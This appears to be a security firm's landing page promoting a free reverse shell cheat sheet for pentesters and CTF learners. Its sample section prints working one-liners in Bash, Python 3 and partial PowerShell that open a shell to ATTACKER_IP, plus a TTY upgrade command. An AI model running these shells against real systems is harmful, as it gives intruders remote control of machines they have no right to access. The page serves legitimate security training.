The Reverse Shell Reference Every Pentester Keeps Open
Bash. Python. PHP. PowerShell. Netcat. Ruby. NodeJS. Shell upgrades. One clean PDF — built by NaviSec practitioners from real engagements. Free download.
What's inside the reference
A PDF covering every major reverse shell technique — formatted for quick reference during live engagements, CTFs, or labs.
- Bash reverse shell — one-liner shells for Linux targets
- Python reverse shell — cross-platform reverse shell payloads
- PHP variants — three distinct PHP techniques
- NodeJS — JavaScript-based reverse shell
- PowerShell — Windows shells: standard + base64 + binary exec
- Netcat & OpenSSL — nc traditional + encrypted OpenSSL variant
- Ruby & PERL — scripting language shells
Every technique is tested. Copy-paste ready. No filler.
Reverse Shell Reference Sheet
Bash TCP, Python 3, PowerShell, and more — copy-paste ready syntax across every major technique.
Get your free copy
Enter your email below and we'll send the PDF straight to your inbox.
See what you're getting.
Here's a sample from the pentester cheat sheet reference — the kind of clean, copy-paste ready syntax you'll get across 12+ techniques in the full PDF.
Bash TCP
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Python 3
python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'
PowerShell
$c=New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);...The full PDF includes 12+ techniques with syntax-highlighted code blocks, shell upgrade instructions, and usage notes.
Built for the field.
Penetration Testers
Keep the reference open during engagements when you need a working shell fast, without breaking workflow to Google.
Security Students & CTF
Learning reverse shells for OSCP, HTB, THM, or security certifications.
Red Team Operators
Covers Windows (PowerShell, binary exec) and Linux targets. The shell upgrade section handles interactive sessions post-exploitation.
For penetration testers.
NaviSec is a Tampa-based offensive and defensive cyber security firm. Our engineers run penetration tests for Internal, External, Web Applications, IoT/Hardware devices, Physical security penetration testing, Red Team, Purple Team and more. NaviSec provides defensive services such as SOC/SIEM, Managed Detection and Response (MDR), and secure infrastructure design. We operate in nearly every industry including government, healthcare, finance, and manufacturing.
We've used this cheat sheet internally for many years and are releasing it now to the community.
Common questions.
What is a reverse shell?
What's the difference between a reverse shell and a bind shell?
Which reverse shell technique should I use?
How do I upgrade a reverse shell to a full TTY?
python3 -c 'import pty; pty.spawn("/bin/bash")' — then background it, run stty raw -echo; fg, and set the terminal size. The full instructions are in the PDF.Is this reference free?
Does NaviSec offer penetration testing services?
Find out where you stand — free.
Take the free online risk assessment, or start with a confidential conversation about your risk, threats, and current cybersecurity posture.
Take the Free Risk Assessment